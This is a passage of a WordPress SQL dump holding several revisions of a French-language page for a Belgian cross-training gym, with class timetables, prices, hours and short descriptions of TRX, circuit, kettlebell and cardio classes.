5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:53:51', '2013-07-03 16:53:51', '', 11, 'http://www.crosstrainingcenter.be/?p=177', 0, 'revision', '', 0),
(178, 1, '2013-07-03 17:01:04', '2013-07-03 17:01:04', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n\r\n&lt;table class=\&quot;tabb\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td &gt;LUNDI&lt;/td&gt;\r\n&lt;td &gt;MARDI&lt;/td&gt;\r\n&lt;td &gt;MERCREDI&lt;/td&gt;\r\n&lt;td &gt;JEUDI&lt;/td&gt;\r\n&lt;td &gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td &gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:01:04', '2013-07-03 17:01:04', '', 11, 'http://www.crosstrainingcenter.be/?p=178', 0, 'revision', '', 0);
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(182, 1, '2013-07-03 17:05:17', '2013-07-03 17:05:17', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n\r\n&lt;table &gt;\r\n&lt;tr &gt;\r\n&lt;td &gt;LUNDI&lt;/td&gt;\r\n&lt;td &gt;MARDI&lt;/td&gt;\r\n&lt;td &gt;MERCREDI&lt;/td&gt;\r\n&lt;td &gt;JEUDI&lt;/td&gt;\r\n&lt;td &gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td &gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 